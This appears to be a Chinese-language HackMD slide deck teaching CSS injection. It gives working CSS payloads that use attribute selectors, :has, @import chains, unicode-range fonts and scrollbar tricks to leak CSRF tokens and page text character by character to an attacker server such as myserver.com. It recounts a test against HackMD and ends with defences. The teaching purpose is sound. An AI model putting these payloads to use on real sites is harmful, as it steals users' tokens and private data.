# CSS injection
---
## What?
可以在一個頁面上可以插入任何的 CSS 語法
(顧名思義: 你可以插入 `<style>` 這個標籤)
<br/>
<font size="3">
<ol>
<li>
網站可以插入 HTML,但是由於 CSP 無法執行 JavaScript
</li>
<li>
雖然網站有過濾掉許多 HTML 標籤,但不覺得 < style > 有問題,所以沒有過濾掉。像 <a href="https://github.com/cure53/DOMPurify" target="_blank">DOMPurify</a> 就把 < style > 設定在安全標籤
</li>
</ol>
</font>
---
## How?
###### 屬性選擇器 X 利用 CSS 發出 request
###### 1. 屬性選擇器
1. `input[value^=a]` 開頭是 a 的(prefix)
2. `input[value$=a]` 結尾是 a 的(suffix)
3. `input[value*=a]` 內容有 a 的(contains)
----
## How?
###### 屬性選擇器 X 利用 CSS 發出 request
###### 2. 利用 CSS 發出 request
```htmlembedded=
<input name="secret" value="abc123">
```
```css=
input[name="secret"][value^="a"] {
background: url(https://myserver.com?q=a)
}
input[name="secret"][value^="b"] {
background: url(https://myserver.com?q=b)
}
input[name="secret"][value^="c"] {
background: url(https://myserver.com?q=c)
}
//....
input[name="secret"][value^="z"] {
background: url(https://myserver.com?q=z)
}
```
Note:
因為第一條規則有順利找到對應的元素,所以 input 的背景就會是一張伺服器上的圖片,而瀏覽器就會發 request 到 https://myserver.com?q=a。
因此,當我在 server 收到這個 request 的時候,我就知道「input 的 value 屬性,第一個字元是 a」,就順利偷到了第一個字元。
----
## How?
###### 屬性選擇器 X 利用 CSS 發出 request
###### CSRF token
```htmlembedded=
<form action="/action">
<input type="hidden" name="csrf-token" value="abc123">
<input name="username">
<input type="submit">
</form>
```
X 這樣無法 (input 亦無法從 css 直接強迫顯示)
```css=
input[name="csrf-token"][value^="a"] {
background: url(https://example.com?q=a)
}
```
Note:
因為 input 的 type 是 hidden,所以這個元素不會顯示在畫面上,既然不會顯示,那瀏覽器就沒有必要載入背景圖片,因此 server 不會收到任何 request。而這個限制非常嚴格,就算用 display:block !important; 也沒辦法蓋過去。
----
O 這樣可能可以
```css=
input[name="csrf-token"][value^="a"] + input {
background: url(https://example.com?q=a)
}
form:has(input[name="csrf-token"][value^="a"]){
background: url(https://example.com?q=a)
}
```
Note:
+ input,這個加號是另外一個選擇器,意思是「選到後面的元素」,所以整個選擇器合在一起,就是「我要選 name 是 csrf-token,value 開頭是 a 的 input,的後面那個 input」,也就是 `<input name="username">`。
有了 :has,這個選擇器可以選到「底下符合特殊條件的元素」
意思就是我要選到「底下有(符合那個條件的 input)的 form」,所以最後載入背景的會是 form,一樣也不是那個 hidden input。這個 has selector 很新,從上個月底釋出的 Chrome 105 開始才正式支援,目前只剩下 Firefox 的穩定版還沒支援了,詳情可看:
---
## How?
###### 屬性選擇器 X 利用 CSS 發出 request
###### 偷 meta
`<meta name="csrf-token" content="abc123">`
meta 這個元素一樣是看不見的元素,要怎麼偷呢?
----
###### 偷 meta
1. `has`
```css=
html:has(meta[name="csrf-token"][content^="a"]) {
background: url(https://example.com?q=a);
}
```
----
###### 偷 meta
2. 強迫顯示
```css=
head, meta {
display: block;
}
meta[name="csrf-token"][content^="a"] {
background: url(https://example.com?q=a);
}
```
Note: meta 雖然也看不到,但跟 hidden input 不同,我們可以自己用 CSS 讓這個元素變成可見,可是這樣還不夠,你會發現 request 還是沒有送出,這是因為 meta 在 head 底下,而 head 也有預設的 display:none 屬性,因此也要幫 head 特別設置,才會讓 meta「能被看到」
---
## 實例
###### 偷 HackMD 的資料
```htmlembedded=
<meta name="csrf-token" content="DochvZSX-kH2TbFcmn-rviBGiBCnpUFX8ttk">
```
----
###### 偷 HackMD 的資料
###### 可行的原因
1. 支援使用 `<style>`
2. 支援即時更新 (因為 csrf token 重整會換,但我們需要一直更新 style)
----
###### 偷 HackMD 的資料
![](https://i.imgur.com/74pA7YE.png)
Note: 準備好偷第一個字元的 style,插入到 HackMD 裡面
受害者打開頁面
伺服器收到第一個字元的 request
從伺服器更新 HackMD 內容,換成偷第二個字元的 payload
受害者頁面即時更新,載入新的 style
伺服器收到第二個字元的 request
不斷循環直到偷完所有字元
----
###### 偷 HackMD 的資料
###### BUT
就算偷到了 HackMD 的 CSRF token,依然還是沒辦法 CSRF,因為 HackMD 有在 server 檢查其他的 HTTP request header 如 origin 或是 referer 等等,確保 request 來自合法的地方。
---
## 補充 1
###### 不支援即時更新的網站?
在不使用 JS 的情況下怎麼動態載入新的 style?
使用 `@import`
Note: 在 CSS 裡面,你可以用 @import 去把外部的其他 style 引入進來,就像 JavaScript 的 import 那樣。
----
###### 不支援即時更新的網站?
引入 style 的迴圈
```htmlmixed=
<style>===
@import url(https://myserver.com/start?len=8)
</style>
```
server 回傳
```css=
@import url(https://myserver.com/payload?len=1)
@import url(https://myserver.com/payload?len=2)
@import url(https://myserver.com/payload?len=3)
@import url(https://myserver.com/payload?len=4)
@import url(https://myserver.com/payload?len=5)
@import url(https://myserver.com/payload?len=6)
@import url(https://myserver.com/payload?len=7)
@import url(https://myserver.com/payload?len=8)
```
Note: 重點來了,這邊雖然一次引入了 8 個,但是「後面 7 個 request,server 都會先 hang 住,不會給 response」,只有第一個網址 https://myserver.com/payload?len=1 會回傳 response,內容為之前提過的偷資料 payload
----
###### 不支援即時更新的網站?
第一次回傳的 style
```css=
input[name="secret"][value^="a"] {
background: url(https://b.myserver.com/leak?q=a)
}
input[name="secret"][value^="b"] {
background: url(https://b.myserver.com/leak?q=b)
}
input[name="secret"][value^="c"] {
background: url(https://b.myserver.com/leak?q=c)
}
//....
input[name="secret"][value^="z"] {
background: url(https://b.myserver.com/leak?q=z)
}
```
Note: 當瀏覽器收到 response 的時候,就會先載入上面這一段 CSS,載入完以後符合條件的元素就會發 request 到後端,假設第一個字是 d 好了,接著 server 這時候才回傳 https://myserver.com/payload?len=2 的 response
----
###### 不支援即時更新的網站?
假設是 d 開頭,回傳以下的 style,然後以此類推
```css=
input[name="secret"][value^="da"] {
background: url(https://b.myserver.com/leak?q=da)
}
input[name="secret"][value^="db"] {
background: url(https://b.myserver.com/leak?q=db)
}
input[name="secret"][value^="dc"] {
background: url(https://b.myserver.com/leak?q=dc)
}
//....
input[name="secret"][value^="dz"] {
background: url(https://b.myserver.com/leak?q=dz)
}
```
Note: 這邊有一點要特別注意,你會發現我們載入 style 的 domain 是 myserver.com,而背景圖片的 domain 是 b.myserver.com,這是因為瀏覽器通常對於一個 domain 能同時載入的 request 有數量上的限制,所以如果你全部都是用 myserver.com 的話,會發現背景圖片的 request 送不出去,都被 CSS import 給卡住了。
----
###### 不支援即時更新的網站?
Firefox 不支援前面的做法,需改下面做法,Chrome 也支援
```htmlembedded=
<style>@import url(https://myserver.com/payload?len=1)</style>
<style>@import url(https://myserver.com/payload?len=2)</style>
<style>@import url(https://myserver.com/payload?len=3)</style>
<style>@import url(https://myserver.com/payload?len=4)</style>
<style>@import url(https://myserver.com/payload?len=5)</style>
<style>@import url(https://myserver.com/payload?len=6)</style>
<style>@import url(https://myserver.com/payload?len=7)</style>
<style>@import url(https://myserver.com/payload?len=8)</style>
```
Note: 除此之外,上面這種方式在 Firefox 是行不通的,因為在 Firefox 上就算第一個的 response 先回來,也不會立刻更新 style,要等所有 request 都回來才會一起更新。解法的話可以參考這一篇:CSS data exfiltration in Firefox via a single injection point,把第一步的 import 拿掉,然後每一個字元的 import 都用額外的 style 包著。
---
## 補充 2
###### 一次只偷一個字元?
HackMD 的 CSRF token 共有 36 個字,要發 36 個 request?
----
###### 一次只偷一個字元?
prefix selector + suffix selector
```css=
input[name="secret"][value^="a"] {
background: url(https://b.myserver.com/leak?q=a)
}
input[name="secret"][value^="b"] {
background: url(https://b.myserver.com/leak?q=b)
}
// ...
input[name="secret"][value$="a"] {
border-background: url(https://b.myserver2.com/suffix?q=a)
}
input[name="secret"][value$="b"] {
border-background: url(https://b.myserver2.com/suffix?q=b)
}
```
Note: 要特別注意的是開頭跟結尾的 CSS,一個用的是 background,另一個用的是 border-background,是不同的屬性,因為如果用同一個屬性的話,內容就會被其他的蓋掉,最後只會發出一個 request。
除此之外,也可以朝 server 那邊去改善,例如說改用 HTTP/2 或甚至是 HTTP/3,都有機會能夠加速 request 載入的速度,進而提升效率。
---
## 補充 3
###### 前面是偷屬性,其他東西?
unicode-range
----
###### 前面是偷屬性,其他東西?
```htmlembedded=
<!DOCTYPE html>
<html>
<body>
<style>
@font-face {
font-family: "Ampersand";
src: local("Times New Roman");
unicode-range: U+26;
}
div {
font-size: 4em;
font-family: Ampersand, Helvetica, sans-serif;
}
</style>
<div>Me & You = Us</div>
</body>
</html>
```
Note: 「unicode-range」,可以針對不同的字元,載入不同的字體。& 的 unicode 是 U+0026,因此只有 & 這個字會用不同的字體來顯示,其他都用同一個字體。
----
###### 前面是偷屬性,其他東西?
```htmlembedded=
<!DOCTYPE html>
<html>
<body>
<style>
@font-face {
font-family: "f1";
src: url(https://myserver.com?q=1);
unicode-range: U+31;
}
@font-face {
font-family: "f2";
src: url(https://myserver.com?q=2);
unicode-range: U+32;
}
@font-face {
font-family: "f3";
src: url(https://myserver.com?q=3);
unicode-range: U+33;
}
@font-face {
font-family: "fa";
src: url(https://myserver.com?q=a);
unicode-range: U+61;
}
@font-face {
font-family: "fb";
src: url(https://myserver.com?q=b);
unicode-range: U+62;
}
@font-face {
font-family: "fc";
src: url(https://myserver.com?q=c);
unicode-range: U+63;
}
div {
font-size: 4em;
font-family: f1, f2, f3, fa, fb, fc;
}
</style>
Secret: <div>ca31a</div>
</body>
</html>
```
----
###### 前面是偷屬性,其他東西?
如果你去看 network tab,會看到一共發送了 4 個 request:
可以得知頁面上有:13ac 這四個字元。
![](https://i.imgur.com/CQkSMGO.png)
----
###### 前面是偷屬性,其他東西?
侷限
1. 我們不知道字元的順序為何
2. 重複的字元也不會知道
----
###### 前面是偷屬性,其他東西? | 解決字元順序
字體高度差異 + first-line + scrollbar
1. 內建字體「Comic Sans MS」的字體,高度就比另一個「Courier New」高
2. `unicode-range` css 屬性控制字元的字體
3. 用 css 限制寬高,並透過 scrollbar 是否顯示,來發 request
![](https://i.imgur.com/TCK4M1d.png)
[DEMO](https://demo.vwzq.net/css2.html)
----
###### 前面是偷屬性,其他東西? | 解決字元順序
```css=
div {
font-size: 0px;
height: 40px;
width: 20px;
font-family: fc, "Courier New";
letter-spacing: 0px;
word-break: break-all;
overflow-y: auto;
overflow-x: hidden;
--leak: url(http://myserver.com?C);
}
div::first-line{
font-size: 30px;
}
div::-webkit-scrollbar {
background: blue;
}
div::-webkit-scrollbar:vertical {
background: var(--leak);
}
```
----
###### 前面是偷屬性,其他東西? | 解決重複字元
某些字型當中,會把一些特定的組合 render 成連在一起的樣子,出現時就把他的寬度拉超大讓 scrollbar 出現
![](https://i.imgur.com/ASNclic.png)
----
###### 前面是偷屬性,其他東西? | 解決重複字元
實戰上的話,可以用 SVG 搭配其他工具,在 server 端迅速產生字體
---
## 防禦
1. 不給用 style
2. 若開放 style,則用 CSP 限制資源載入(例如限制只能讀取特定來源的字體,阻擋@import 使用)
3. 預想某些東西被偷走之後可以對應的方式
Note: 3. 預想若 CSRF token 被偷走可以怎麼防禦
{"metaMigratedAt":"2023-06-17T10:57:16.033Z","metaMigratedFrom":"YAML","title":"css injection","breaks":true,"contributors":"[{\"id\":\"1db58682-ae66-4fa3-b482-aa32e54bc1d6\",\"add\":8612,\"del\":7646}]"}